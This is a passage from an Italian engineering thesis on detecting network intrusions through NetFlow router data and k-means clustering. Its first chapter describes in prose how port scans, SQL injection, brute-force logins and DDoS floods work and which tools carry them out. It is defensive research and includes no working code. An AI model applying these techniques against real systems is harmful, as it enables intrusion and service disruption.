Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report

Alma Mater Studiorum · Universita di
`
Bologna

`
SECONDA FACOLTA DI INGEGNERIA CON SEDE A CESENA
Corso di Laurea in Ingegneria Informatica

RILEVAZIONE DI ATTACCHI
DI RETE TRAMITE PROTOCOLLI
DI MONITORAGGIO PER
ROUTER IP

Elaborato in Laboratorio di
Reti di Telecomunicazioni

Relatore: Correlatore: Presentato da:
Walter Cerroni Marco Ramilli Luca Mella

Sessione Seconda
A.A. 2010/2011

Introduzione

Le tematiche relative alla sicurezza dei sistemi informatici hanno, negli
ultimi decenni, sempre pi` preso piede all’interno del mainstream.
u
Si pu` dire, in altre parole, che l’enfasi sulla sicurezza di reti e sistemi ha
o
avuto un andamento proporzionale alla quantit` e qualit` delle informazioni
a a
rese fruibili attraverso internet, quindi, dando uno sguardo al mondo odierno,
ci si pu` render conto di quanto queste tematiche siano importanti. Basta
o
pensare a quante volte si sia sentito utilizzare il termine societ` dell’infor-
a
mazione, il che lascia ben intendere la sempre pi` forte interconnessione tra
u
mondo reale e quello virtuale composto da nodi, end-point, servizi e appli-
cazioni.
Proprio questa forte interconnessione. evolutasi nel tempo, ha svolto il ruolo
di motore per lo sviluppo di nuove idee e metodologie per la rilevazione di
minacce alla sicurezza di dati o servizi in rete. Infatti, negli anni, si ` cercato
e
di definire cosa ` un sistema di rilevamento intrusioni (IDS), di categorizzare
e
tali sistemi, di realizzare e validare nuovi approcci pi` efficienti ed efficaci
u
dei precedenti, ma nonostante ci` diverse questioni rimangono ancora oggi
o
aperte in attesa di nuove metodologie. Quello che si cercher` di fare in questo
a
elaborato ` proprio proporre nuovi concetti e metodologie finalizzate a rile-
e
vare pi` efficientemente le minacce in rete.
u
Prima di ogni novit`, occorre delineare bene il contesto in cui ci si sta muoven-
a
do, in modo da meglio collocare il lavoro proposto nell’elaborato all’interno
di tematiche e soluzioni proposte in precedenza.
Perci`, nei capitoli seguenti, saranno prima discussi brevemente vari temi tra
o
cui gli attacchi e minacce tipiche della rete, i differenti approcci per il rile-
vamento di intrusioni di rete, le tecniche utilizzate per estrarre informazioni
dai dati, il protocollo di rete NetFlow, ed infine verr` presentata una nuo-
a
va metodologia per il rilevamento di attacchi basata appunto sul protocollo
NetFlow e sull’analisi di variabili estratte dai flussi di rete tramite algoritmi
di data mining, con un approccio similare a quello adottato con successo in
precedenti soluzioni - eg. NIDS SNMP-Based.

i

Indice

Introduzione i

1 Attacchi Di Rete 1
1.1 Attacchi Di Rete Comuni . . . . . . . . . . . . . . . . . . . . . 1
1.1.1 Port Scanning . . . . . . . . . . . . . . . . . . . . . . . 2
1.1.2 SQL-Injection . . . . . . . . . . . . . . . . . . . . . . . 3
1.1.3 Login Brute-Force . . . . . . . . . . . . . . . . . . . . . 4
1.1.4 Deny (or Degradation) of Service . . . . . . . . . . . . 5

2 Network Intrusion Detection System - NIDS 7
2.1 Anomaly-based NIDS . . . . . . . . . . . . . . . . . . . . . . . 8
2.2 SNMP-based NIDS . . . . . . . . . . . . . . . . . . . . . . . . 8
2.3 NetFlow-based NIDS . . . . . . . . . . . . . . . . . . . . . . . 10

3 NetFlow 11
3.1 Infrastruttura NetFlow . . . . . . . . . . . . . . . . . . . . . . 11
3.2 Versione 9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.3 NFDump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

4 Data Mining 17
4.1 Algoritmi Non Supervisionati . . . . . . . . . . . . . . . . . . 17
4.2 Data Clustering . . . . . . . . . . . . . . . . . . . . . . . . . . 18
4.2.1 Algoritmi gerarchici . . . . . . . . . . . . . . . . . . . . 18
4.2.2 Algoritmi Density-based . . . . . . . . . . . . . . . . . 19
4.2.3 Algoritmi Partitivi . . . . . . . . . . . . . . . . . . . . 19
4.3 K-means . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

5 Framework Proposto 21
5.1 Scenario Applicativo . . . . . . . . . . . . . . . . . . . . . . . 21
5.2 Metodologia . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.3 Test-bed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

iii

iv INDICE

5.4 Sessioni e Risultati . . . . . . . . . . . . . . . . . . . . . . . . 26
5.4.1 Traffico Neutro . . . . . . . . . . . . . . . . . . . . . . 28
5.4.2 Port Scanning . . . . . . . . . . . . . . . . . . . . . . . 29
5.4.3 SSH Brute Force (SBF) . . . . . . . . . . . . . . . . . 30
5.4.4 DDoS . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
5.4.5 SQL-Injection . . . . . . . . . . . . . . . . . . . . . . . 32
5.4.6 Traffico Realistico . . . . . . . . . . . . . . . . . . . . . 33
5.5 Analisi Dei Dati . . . . . . . . . . . . . . . . . . . . . . . . . . 35
5.5.1 Prestazioni . . . . . . . . . . . . . . . . . . . . . . . . 37

Conclusioni 39

A Configurazioni 41
A.1 Router Cisco . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
A.2 Collector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

B Script Sessioni 45
B.1 Port Scanning . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
B.2 SBF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
B.3 SQL-I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
B.4 DDoS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
B.5 Traffico Realistico . . . . . . . . . . . . . . . . . . . . . . . . . 48

C Script Processamento Dati 51

Bibliografia 55

Elenco delle figure

3.1 Architettura logica di un infrastruttura NetFlow . . . . . . . . 12
3.2 Rappresentazione del funzionamento della cache NetFlow . . . 13
3.3 Esempio di report generato con nfdump . . . . . . . . . . . . . 15

5.1 Scenario applicativo di riferimento per NIDS basati su NetFlow 22
5.2 Attivit` per la fase sperimentale . . . . . . . . . . . . . . . . .
a 24
5.3 Topologia del testbed . . . . . . . . . . . . . . . . . . . . . . . 26
5.4 Campione di flussi sessione Traffico Naturale . . . . . . . . . . 28
5.5 Campione di flussi sessione Port Scanning . . . . . . . . . . . 29
5.6 Campione di flussi sessione SBF . . . . . . . . . . . . . . . . . 30
5.7 Campione di flussi sessione DDoS . . . . . . . . . . . . . . . . 31
5.8 Campione di flussi sessione SQL-I . . . . . . . . . . . . . . . . 32
5.9 Port Scanning (Xmas scan) con traffico realistico . . . . . . . 33
5.10 SBF con traffico realistico . . . . . . . . . . . . . . . . . . . . 34
5.11 SQL-I con traffico realistico . . . . . . . . . . . . . . . . . . . 34
5.12 DDoS con traffico realistico . . . . . . . . . . . . . . . . . . . 35

v

Elenco delle tabelle

2.1 Variabili artificiali significative estratte da interrogazioni SNMP 9

5.1 Statistiche generali sui flussi collezionati . . . . . . . . . . . . 27
5.2 Statistiche del sistema . . . . . . . . . . . . . . . . . . . . . . 36
5.3 Variabili artificiali significative estratte da record NetFlow . . 37
5.4 Risultati Benchmark per calcolo nuove tuple . . . . . . . . . . 38

vii

Capitolo 1

Attacchi Di Rete

Prima di discutere delle metodologie di rilevamento degli attacchi di rete
occorre effettuare una panoramica sulla stato attuale delle tecniche di attac-
co pi` diffuse in rete. Infatti, l’elevato grado di sviluppo dell’automazione di
u
varie tecniche ha s` permesso agli esperti del settore di velocizzare le proce-
ı
dure di assessment, ma ha anche dato la possibilit` ad utenti malevoli, pi` o
a u
meno esperti, di incrementare notevolmente le loro probabilit` di successo e
a
di conseguenza la loro pericolosit`. Inoltre, l’utilizzo di internet da parte della
a
stragrande maggioranza delle organizzazioni ha portato ad una rapida prolif-
erazione di servizi in rete lungo l’ultimo decennio; molto spesso per` questa
o
espansione non ` stata effettuata con coscienza e conoscenza delle possibili
e
minacce alle quali si espone la propria organizzazione. Dunque, lo scenario
che si ` profilato negli ultimi anni ` quello di una internet con un’enorme su-
e e
perficie di attacco ed una buona disponibilit` di tools per testare e sfruttare
a
le pi` disparate vulnerabilit`.
u a

1.1 Attacchi Di Rete Comuni

Scendendo nel dettaglio, verranno qui presentate brevemente alcune tipolo-
gie di attacco ben note in letteratura ed i relativi tool che le implemen-
tano. Tale elenco verr` preso in considerazione durante la trattazione della
a
fase sperimentale, nella quale si ` adottato un approccio emulativo, per cui
e
risulta importante porre enfasi sugli attacchi attualmente pi` presenti nel
u
mainstream.

1

2 1. Attacchi Di Rete

1.1.1 Port Scanning
Rientra tipicamente nella fase preliminare di un attacco, infatti all’interno
di questa tipologia risiedono numerose tecniche differenti atte a recuperare
informazioni su servizi ed host raggiungibili in rete. Infatti forgiando pac-
chetti e segmenti ad hoc ` possibile forzare gli end-point di rete a particolari
e
comportamenti, che possono rilevare la presenza di servizi in ascolto.
Tra le varie tecniche di scanning presenti in letteratura sono di rilevante
importanza per l’elaborato le seguenti:

• TCP SYN Scan, tecnica estremamente popolare anche grazie alla ra-
pidit` con cui si possono effettuare scansioni. Consiste sostanzialmente
a
nell’invio di PDU TCP con SYN flag attivo e nell’interpretazione della
risposta ricevuta dal target, ovvero in caso di PDU di risposta con flag
SYN-ACK si evince che alla porta sondata ` attivo un servizio, in caso
e
di risposta con flag Reset (RST) si deduce che non vi ` servizio alla
e
data porta destinazione, mentre in caso di non risposta si presume che
il traffico diretto a tale porta del target sia filtrato da un firewall.

• UDP Scan, questa tecnica invece si prefigge l’obiettivo di individuare
servizi basati su protocollo UDP. Essa si basa sull’invio di vari pacchet-
ti UDP, di contenuto casuale e non, verso un grande numero di porte
dell’host target. A differenza del SYN Scan questa tecnica offre meno
informazioni in output, infatti viene considerata aperta una porta so-
lo se viene ricevuta una pdu di risposta, altrimenti viene considerata
chiusa o filtrata, a meno che non si ricevano pacchetti ICMP espliciti
di tipo port unreachable.

• Xmas Scan, questa tecnica utilizza PDU TCP questa volta con pi` u
flag settati (FIN-PSH-URG), si basa anch’essa - come le precedenti
tecniche basate su TCP - sulla ricezione di risposte con flag RST, in
tal caso infatti le porte destinazione della sonda vengono registrate
come chiuse. Differente ` l’interpretazione della non risposta, in questo
e
caso la porta target ` considerata come aperta oppure filtrata. Se
e
invece viene ricevuto un pacchetto ICMP port unreachable tale porta ` e
marcata come filtrata.

• TCP ACK Scan, quest’ultima metodologia di scanning risulta meno
precisa rispetto alle precedenti, in quanto ha dei limiti interpretativi
delle risposte. Nella fattispecie la PDU TCP sonda ` caratterizzata
e
dalla presenza del flag ACK settato e la determinazione dello stato
della porta sondata si basa solo su risposta ricevuta o non ricevuta. In

1.1 Attacchi Di Rete Comuni 3

dettagli in caso di risposta con flag RST si considera la porta aperta
oppure chiusa, mentre in caso di non risposta la si registra come filtrata.

Tool di riferimento nmap[13]1 .

1.1.2 SQL-Injection
Una delle tipologie di attacchi pi` efficace, affligge direttamente i dati
u
dell’organizzazione bersaglio, infatti tramite le falle delle applicazioni2 nella
gestione degli input utente, ` possibile recuperare i dati presenti nel DBMS
e
in backend, generando quindi una pericolosa perdita di controllo delle infor-
mazioni. In breve tempo, questa tipologia di attacco, ` divenuta una delle
e
maggiori piaghe della societ` dell’informazione, anche grazie a quanto la su-
a
perficie d’attacco sia estesa[18].
Pi` dettagliatamente questi attacchi si basano su tecniche che sfruttano la
u
possibilit` di inserire statement SQL arbitrari all’interno delle query utiliz-
a
zate nell’applicazione target. Varie tecniche sono state affinate nel tempo
in maniera da riuscir a portar a termine l’attacco in contesti pi` o meno
u
vincolati:

• Boolean-based blind SQL-I, tradizionale tecnica basata sulla compara-
zione delle risposte dell’applicazione in funzione della verit` o falsit`
a a
dello statement iniettato. Essa ` utilizzabile nei casi in cui a segui-
e
to dell’iniezione non siano riscontrabili output apprezzabili se non la
differenza tra le risposte dell’applicazione. In altre parole lo statement
iniettato ` una funzione booleana - pi` o meno complicata - che se risul-
e u
ta essere vera provoca la generazione di una certa risposta da parte
dell’applicazione, mentre see risulta essere falsa ne provoca un’altra,
differente dalla precedente. Tramite la distinzione di queste risposte ` e
possibile, ad esempio, scandire carattere per carattere ogni record pre-
sente nelle tabelle del DBMS di backend ed individuarne il contenuto
preciso.

• Time-based blind SQL-I, tecnica utilizzata in caso di completa mancan-
za di differenza nelle risposte dell’applicazione. La chiave di volta di
questo approccio sono gli statement SQL atti far eseguire computazioni
alla macchina (eg. BENCHMARK(,) di MySQL ), in modo da ritar-
darne la risposta di un tempo arbitrario. Le query iniettate vengono
1
Tra le tecniche implementate ne sono presenti varie che se utilizzate coscentemente
permettono il bypassing di Firewall ed IDS[14]
2
L’elaborato porr` enfasi su vulnerabilit` presenti su applicativi web, ci` non toglie che
a a o
altre tipologie di servizio possano soffrire di questa particolare falla.


preparate in maniera tale per cui se a seguito dell’esecuzione dello state-
ment malevolo si ha condizione di verit` verr` eseguito anche il coman-
a a
do per ritardare la risposta del sistema. Da tale ritardo l’attaccante
riuscir` a capire se lo statement iniettato ` stato valutato come vero o
a e
falso, aprendo uno scenario simile a quello descritto per Boolean-based
SQL-I.

• Error-based SQL-I, tecnica utilizzabile solo nel caso in cui le descrizioni
degli errori del dbms vengano riportati in output anche dalle appli-
cazioni stesse. In tal caso risulta possibile iniettare query apposita-
mente errate sintatticamente - o semanticamente - per poi apprendere
informazioni sulla struttura interna del database proprio in virt` del
u
messaggio di errore ricevuto. Ad esempio ` con tale tecnica ` possi-
e e
bile recuperare informazioni riguardanti nomi di campi, di tabelle e di
utenti presenti all’interno dei database gestiti dal DBMS in backend.

• UNION query SQL-I, tecnica basata sulla preparazione di particolari
payload malevoli atti ad unire i risultati di query SQL arbitrarie a quel-
li recuperati dalle query originariamente definite all’interno dell’appli-
cazione. Gli statement SQL chiave usati per questo genere di attacchi
sono appunto quelli di unione - eg. UNION ALL. Tali tipologie di attac-
co risultano per` utilizzabili solo nel caso in cui i dati estratti tramite
o
la query vulnerabile vengano presentati in output dall’applicazione.

Tool di riferimento sqlmap[15].

1.1.3 Login Brute-Force
Classica, grezza ma potenzialmente molto pericolosa tipologia di tecniche
di attacco, tipicamente attuate dopo una fase di enumerazione dei servizi di
rete raggiungibili. Di base si tratta solo di tentativi di accesso perpetrati nel
tempo con le pi` disparate credenziali3 , ma con un’analisi pi` approfondita
u u
delle caratteristiche tipiche degli account, questa tecnica diviene molto pi` u
pericolosa di quanto non sembri.
Studi effettuati su credenziali reali pubblicate a seguito di attacchi infor-
matici di larga scala, ci fanno notare che solo meno dell’1% delle password
scoperte sono composte da stringhe pseudocasuali[19]. Ci` significa che con
o
l’ausilio di wordlist ben fornite, o ancora meglio generate ad hoc[20] a seguito
di alcune indagini (prassi comune nel social engineering), si hanno discrete
3
La sessione sperimentale si focalizzer` su una particolare istanza di questa tipologia
a
di attacco, ovvero SSH Brute Force (SBF)

1.1 Attacchi Di Rete Comuni 5

possibilit` di trovare le credenziali corrette.
a
Potenziali vittime di questa tipologia di attacco sono tutti i servizi raggiun-
gibili da un ipotetico attaccante (insider o outsider) ma in pratica i servizi
tipicamente pi` attaccati sono SSH, demoni DBMS (eg.MySQL), HTTP,
u
FTP.
Tool di riferimento Hydra[16], Ncrack[17].

1.1.4 Deny (or Degradation) of Service
Si tratta di una grande variet` di tipologie di attacchi - di rete e non - con
a
lo scopo di rendere inusufruibili determinati servizi servizi. Nell’elaborato si
porr` enfasi sulle particolari tecniche e strategie adottate per condurre questo
a
genere di attacchi attraverso reti geografiche.
Alcune delle principali tecniche utilizzate per questi attacchi possono essere:

• UDP-FLOODING, basato sull’invio di grandissime quantit` di PDU
a
UDP a varie porte della macchina target, la quale dovr` controllare se
a
ci sono applicazioni in ascolto sulle porte a cui sono destinati i mes-
saggi ed in seguito generare ed inviare pacchetti ICMP port unreach-
able, sprecando cos` tempo e risorse originariamente destinate ad altre
ı
attivit`.
a

• SYN-FLOODING, che si basa sull’inondamento della macchina target
con PDU TCP con flag SYN attivo, in modo da costringere l’host ad
allocare risorse - eg. buffer di trasmissione e ricezione - per ognuna delle
richieste di connessione fino all’esaurimento delle capacit` della macchi-
a
na. Tali risorse infatti restano allocate per tutto il tempo in cui l’host
effettua le ritrasmissioni delle PDU TCP con flag SYN-ACK4 attivo,
per cui se le richieste di connessione hanno cadenze particolarmente
elevate c’` il serio rischio di esaurimento delle risorse della macchina
e
target.

• Botnet-Based DDoS, questa branca ti attacchi invece si basa sull’utiliz-
zo di grandi insiemi di host compromessi, nei quali ` in esecuzione soft-
e
ware malevolo pronto a ricevere comandi ed istruzioni dall’attaccante
(master). Tali software sono spesso installati sulle macchine tramite
l’utilizzo di Trojan i quali, anche grazie alla non curanza degli utenti
del web alle pi` basilari precauzioni, permettono al software malevolo
u
4
Salvo configurazioni specifiche, le ritrasmissioni vengono effettuate tipicamente ogni
3, 6, 12, 24 e 48 secondi in caso di mancata conclusione del 3-Way-Handshake da parte
del client


(bot) di infettare la macchina.
Gli attacchi sferrati tramite Botnet sono spesso diﬃcili da bloccare in
quanto simili a un picchi (o creste) di richieste utente, questo proprio in
virt` del fatto che eﬀettivamente si tratta richieste di servizio reali, an-
u
che se non desiderate dall’utente. Questa tipologia di attacco sar` poi
a
quella scelta come riferimento per la fase sperimentale, infatti attacchi
simili a quelli appena descritti possono essere realizzati con script ad
hoc o con tool reperibili in rete - eg. LOIC[21].

Da notare che l’obbiettivo di queste tipologie di tecniche pu` non essere
o
strettamente il blocco del servizio, ma pi` generalmente il degrado delle
u
prestazioni[22] dello stesso.

Capitolo 2

Network Intrusion Detection
System - NIDS

La continua evoluzione delle minacce ai sistemi informatici ha avuto, ed
ha, un ruolo fondamentale nei processi di creazione e miglioramento di siste-
mi atti a rilevare attacchi ed a limitarne sia possibili danni ad infrastrutture
software che ne, soprattutto, accessi abusivi ad informazioni riservate.
Negli ultimi decenni, questa spinta ha portato sia la comunit` accademica
a
che ne esperti provenienti dal mondo aziendale a numerose discussioni, varie
pubblicazioni ed a diversi approcci alla rilevazione delle intrusioni. Quindi,
prima di mostrare l’approccio proposto risulta importante illustrare la situ-
azione attuale.
In questo capitolo, per l’appunto, si cercher` di presentare uno scenario,
a
schematico, sintetico quanto pi` possibile chiaro relativo agli approcci ed
u
alle metodologie che possono essere caratterizzanti per un sistema di rileva-
mento intrusioni, cos` da mettere in luce il contesto in cui viene presentato
ı
l’approccio proposto dall’elaborato ed il relativo posizionamento all’interno
di esso.
Si possono individuare 2 differenti approcci logici alla rilevazione delle intru-
sioni:

• Knowledge-based [3, cap.3.1], basato sulla conoscenza pre-acquisita sugli
attacchi, questo approccio ` tipicamente utilizzato nei NIDS commer-
e
ciali, ove l’obiettivo ` riconoscere particolari pattern - o signature -
e
all’interno del traffico analizzato.

• Behaviour-based [4], basato modelli di comportamento benevolo e sul-
la capacit` del sistema di percepire deviazioni del comportamento del
a
traffico in rete rispetto a tali modelli.

7

8 2. Network Intrusion Detection System - NIDS

Un’ulteriore differenziazione pu` essere individuata nelle modalit` con cui il
o a
NIDS prende coscienza di ci` che accade nell’ambiente:
o
• Packet-based, basata sull’utilizzo di sniffer, o pi` in generale di sonde,
u
per il campionamento del traffico di rete in punti strategici.
• Host-based [3, cap.3.3], basata sull’utilizzo di host - o anche di nodi di
rete - come sorgenti d’informazione.
In seguito verranno descritte le caratteristiche di alcuni NIDS che risultano
significativi per l’approcio che verr` presentato nell’elaborato.
a

2.1 Anomaly-based NIDS
L’assunzione implicit` di questa tipologia di NIDS ` che il traffico malevo-
a e
lo di rete sia una sorta di deviazione rispetto al normale[4, cap.4]. Per questa
categoria di NIDS perc` risulta particolarmente importante avere un modello
o
comportamentale benevolo/normale a disposizione per poter misurare in se-
guito il livello di anomalia che presenta il traffico reale. Tipicamente, questi
modelli vengono estratti da campioni di traffico reale con l’ausilio di tec-
niche di data mining: tali tecniche infatti risultano spesso ideali per via della
proibitivit` della mole di dati da processare e della mancanza di conoscenza
a
a priori delle caratteristiche da ricercare.
Alcune criticit` sono state per` rilevate in questa tipologia di NIDS[3, cap.3.1.2]:
a o
ad esempio ` stata dimostrata la necessit` di rigenerazione periodica dei mod-
e a
elli comportamentali normali. Infatti, siccome il comportamento del traffico
benevolo ` correlato alla tipologia di operazioni effettuate in rete, la nozione
e
di normalit` pu` variare nel tempo e di conseguenza dare origine a successioni
a o
di falsi positivi.

2.2 SNMP-based NIDS
Altre soluzioni che sono state oggetto di studi sono invece basate su ap-
procci ibridi, ad esempio sono stati presentati articoli[5, 6] che propongono
interessanti metodologie, dove vengono miscelati approcci basati su logiche
behaviour-based e knowledge-based, con hosts come sorgenti di dati per la
raccolta delle informazioni.
Tali metodologie fanno largo uso di tecniche di data mining[5, cap.2] di tipo
non supervisionato 1 , con le quali ` possibile estrarre sia modelli comporta-
e
mentali benevoli che ne malevoli. Questo approcio si presenta interessante
1
in particolare tecniche di clustering partitive, eg.k-means.

2.2 SNMP-based NIDS 9

soprattutto nei casi in cui lo sniffing e l’analisi del traffico di rete si rivelano
un collo di bottiglia per via degli enormi flussi informativi che diverse realt` a
possono presentare[5, cap.1]; infatti le informazioni messe a disposizione da
SNMP si rivelano particolarmente efficaci ai fini della rilevazione di attacchi,
enormemente meno voluminose e quindi pi` efficienti.
u
Pi` dettaglio le sperimentazioni effettuate in [6, 7] su questa tipologia di
u
NIDS si sono articolate come segue: prima ` stato individuato un insieme
e
ristretto di variabili significative deducibili dai dati disponibili tramite inter-
rogazioni SNMP (Tabella 2.2), poi si sono calcolate tali variabili durante pi` u
sessioni sperimentali ed infine si ` processato il tutto con algoritmi per il data
e
mining. A seguito delle elaborazioni si sono poi ottenuti valori caratteristici
delle variabili per ogni tipologia di attacco emulata sperimentalmente ed, in
seguito, si ` proceduto a sessioni di testing con traffico realistico per verificare
e
l’effettiva affidabilit` dei risultati trovati.
a
I risultati ottenuti dagli studi su questa nuova metodologia presentano una
diminuzione apprezzabilmente del numero di falsi positivi ed una notevole
efficacia nella distinzione di attacchi[5, cap.4.1], infatti dalle verifiche effet-
tuate risulta che l’affidabilit` nella distinzione tra traffico malevolo e neutrale
a
sia di oltre il 99%.
Tale tipologia di NIDS ` stata presa come modello di riferimento per lo
e
sviluppo del framework proposto.

Numero di connessioni TCP aperte (qualsiasi stato)
Numero di connessioni TCP in time-wait
Numero di connessioni TCP in estabilished
Numero di connessioni TCP in syn-received
Numero di connessioni TCP in fin-wait
Numero di IP remoti con connessione TCP aperta
Indirizzo IP remoto con il pi` alto numero di connessioni TCP
u
Indirizzo IP remoto con il secondo maggior numero di connessioni TCP
Indirizzo IP remoto con il terzo numero di connessioni TCP
Porta locale TCP con il pi` alto numero di connessioni
u
Numero di connessioni alla porta TCP con il pi` alto numero di connessioni
u
Porta locale TCP con il secondo maggior numero di connessioni
Numero di segmenti TCP RST inviati

Tabella 2.1: Variabili artificiali significative estratte da interrogazioni SNMP

10 2. Network Intrusion Detection System - NIDS

2.3 NetFlow-based NIDS
In alcuni articoli sono stati presentati studi[1] e framework[2] dove sono
oggetto di discussione i possibili utizzi di protocolli NetFlow2 -like all’interno
di sistemi per il rilevamonto delle intrusioni di rete. Questa nuova tipologia di
NIDS, infatti, non identifica pi` come sorgente di informazione ne pacchetti
u
ne end-point, ma bens` gli intermediate system (IS), come ad esempio router
ı
ip, switch ed hub.
I risultati pubblicati sugli studi di NIDS basati su NetFlow dimostrano che
dalle informazioni raccolte sui flussi ` possibile rilevare dagli attacchi di rete
e
pi` comuni all’attivit` di worm presenti in macchine infette. Nella fattispecie
u a
sono stati utilizzate pi` metodologie per effettuare tali rilevazioni:
u

• in [1] i flussi collezionati vengono sottoposti ad un procedimento in stile
analisi forense, dove si effettuano valutazioni sulla base della conoscen-
za del comportamento della minaccia. Ad esempio viene mostrato come
sia possibile individuare attacchi DoS e DDoS osservando le corre-
lazioni temporali tra i vari flussi, o come determinare la presenza di
worm sulla base di flussi diretti a porte note[1, cap.4]. Tali sperimen-
tazioni delineando delineano quindi un approccio pi` Knowledge-based
u
al rilevamento delle intrusioni.

• in [2] viene invece proposto un framework che interpreta i dati raccolti
attraverso i flussi e li presenta graficamente a video. In dettaglio, viene
preparata un immagine nella quale ogni pixel rappresenta un partico-
lare indirizzo ip - pixel vicini corrispondono ad ip vicini - ed associato
ad ognuno di essi una sfumatura di colore calcolata in base al traffico
generato dal nodo[2, cap.4.2] - ad esempio nero significa niente traffico.
Tale approccio[2, cap.5.1], unito alle statistiche ricavate dai flussi su
porte e indirizzi[2, cap.5.2], ha permesso di individuare agevolmente
la presenza di worm all’interno delle reti monitorate notando attivit` a
anomale e riconoscendo pattern comportamentali noti del malware in
azione.

Nel framework che verr` proposto si tender` invece a preferire un’approc-
a a
cio ibrido basato sull’estrazione di variabili significative e soglie caratteris-
tiche dalle informazioni sui flussi di rete recuperate tramite NetFlow.

2
NetFlow ` un protocollo sviluppato da Cisco per il monitoring dei flussi di rete. Vedi
e
capitoli seguenti.

Capitolo 3

NetFlow

NetFlow non ` semplicemente un protocollo di rete, ma bens` una tec-
e ı
nologia sviluppata da Cisco per il monitoring del traffico di rete che, a sua
volta, fa uso di un protocollo di comunicazione ad hoc per esportare le infor-
mazioni raccolte.
Questo particolare servizio di monitoring si basa sul concetto di flusso di rete
(network flow, appunto), che viene definita come una 7-pla[12]:

• Source IP, indirizzo ip sorgente.

• Destination IP, indirizzo ip destinazione.

• Source Port, TSEL sorgente (UDP/TCP), 0 se non supportato.

• Destination Port, TSEL destinazione (UDP/TCP), 0 se non supporta-
to.

• Layer 3 Protocol, protocollo di rete.

• Class of Service, Indicatore di tipologia di servizio utilizzato per la
gestione ottimale dei flussi in rete, ne esistono diverse implementazioni,
eg. ToS byte (DSCP) nell’header IPv4[12].

• Interface, interfaccia d’ingresso dell’IS.

3.1 Infrastruttura NetFlow
L’architettura logica di un’infrastruttura NetFlow[10, cap.2] si basa su
pochi semplici elementi e risulta perci` di agevole comprensione e deploy-
o
ment:

11

12 3. NetFlow

Figura 3.1: Architettura logica di un infrastruttura NetFlow

• NetFlow Record, contenente informazioni riguardo ad un particolare
flusso.

• NetFlow Cache, cache sull’IS dove vengono mantenuti i NetFlow Record1 .
Vedi fig:3.1.

• NetFlow Exporter, servizio che invia - come Export Packet - i record
presenti in cache ad una o pi` destinazioni.
u

• NetFlow Collector, end-point destinazione delle PDU NetFlow (Export
Packet).

3.2 Versione 9
La versione del protocollo NetFlow di riferimento per l’elaborato ` la 9,
e
che dal 2009 gode di ampia diffusione all’interno dei dispositivi di rete Cisco.
Questa versione differisce notevolmente dalle precedenti in quanto il proto-
collo ` stato reso estendibile e configurabile, infatti sono stati abbandonati
e
1
Il comportamento della cache ` configurabile in base a tempo di validit` dei record e
e a
comportamento dopo l’esportazione dei record

3.3 NFDump 13

Figura 3.2: Rappresentazione del funzionamento della cache NetFlow

i campi statici che caratterizzavano le versioni precedenti, ed adottata una
logica TLV (Tag Length Value)[11] per la descrizione dei dati trasmessi. Con
questa versione realizzata una notevole flessibilit` del protocollo, il quale pu`
a o
trasportare solo i dati necessari e, soprattutto, pu` essere riutilizzato in caso
o
di aggiunta di nuove tipologie di informazioni sui flussi. Nel dettaglio, la
PDU NetFlow v9 viene separata in vari segmenti logici[10]:

+--------+--------------------------------------------------------+
| Packet | | Template | | Data | | Options | | Data | |
| Header | | FlowSet | | FlowSet | ... | Template | | FlowSet | |
+--------+--------------------------------------------------------+

Dove nel segmento Template FlowSet viene descritto il formato dei dati pre-
senti in Data FlowSet, in particolare ` presente una entry tipologia/lunghezza
e
(TL) per ogni campo nel segmento dati, dove invece sar` solo presente una
a
lista di valori (V).
Ovviamente non ` stato riportato tutto il formato delle PDU NetFlow in
e
quanto non rilevanti ai fini dell’elaborato. Tale versione di NetFlow meritava
per` una sintetica panoramica in quanto risulta essere un protocollo maturo,
o
avendo raggiunto un buon livello di stabilit` e flessibilit` comparabile a quelli
a a
dei pi` celebri protocolli di monitoraggio (e gestione) di rete - eg. SNMP.
u

3.3 NFDump
Esistono vari tool per interagire con dispositivi NetFlow-enabled, tra i
tanti spicca per per flessibilit` e semplicit` d’uso NFDUMP[23], che appunto
a a

14 3. NetFlow

` stato scelto come riferimento per l’elaborato.
e
Pi` che ne un singolo tool si tratta di una suite completa dalla cattura dei
u
flussi sin alle prime, pi` basilari, elaborazioni per la presentazione di report.
u
Infatti al suo interno sono disponibili i seguenti software:

• nfcapd, ` il demone di cattura, si pone in ascolto su una data porta e
e
salva su file ogni PDU NetFlow che gli giunge. Ha alcune funzionalit` a
avanzate che possono risultare molto utili in fase sperimentale come ad
esempio la rotazione automatica dei file ogni n minuti e la possibilità
di lanciare comandi in automatico ogni volta che ci` accade.
o

• nfdump, ` il tool per le prime elaborazioni sulle catture, elabora i file
e
contenti le PDU NetFlow e permette di sfruttare diversi formati di rap-
presentazioni dei flussi (eg.csv). Inoltre rende possibile un primo stage
di processamento rendendo possibile il raggruppamento dei flussi sec-
ondo campi arbitrari, ovvero permette di aggregare secondo n-ple non
standard. Apprezzabile anche il supporto alle statistiche, alcune delle
quali calcolate automaticamente ad ogni elaborazione. Nella fattispecie
si pu` disporre informazioni su totale flussi, totale byte transitati, totale
o
pacchetti, e varie medie relative al periodo.

• nfprofile, ` sostanzialmente un filtro per PDU NetFlow, infatti permette
e
di raffinare i dati catturati da nfcapd secondo pattern arbitrari.

• nfreplay, sostanzialmente un relay per PDU NetFlow, una volta config-
urato legge i file catturati da nfcapd e gli inoltra ad un’altro host. Pu`
o
risultare interessante per accentrare i dati in scenari distribuiti.

• nfclean.pl, semplice script per eliminare i dati delle vecchie catture.

• ft2nfdump, permette di importare dati dalla suite flow-tools

Per render pi` chiare le modalit` di utilizzo ed i dati forniti verr` mostrata
u a a
una semplice configurazione di base seguita da un esempio di utilizzo.
Nel dettaglio, per lanciare il demone nfcapd in ascolto sulla porta 9996, su
tutte le interfaccie, con cartella per il salvataggio delle catture la directory
“./folder ” e periodo di rotazione file 2 minuti:

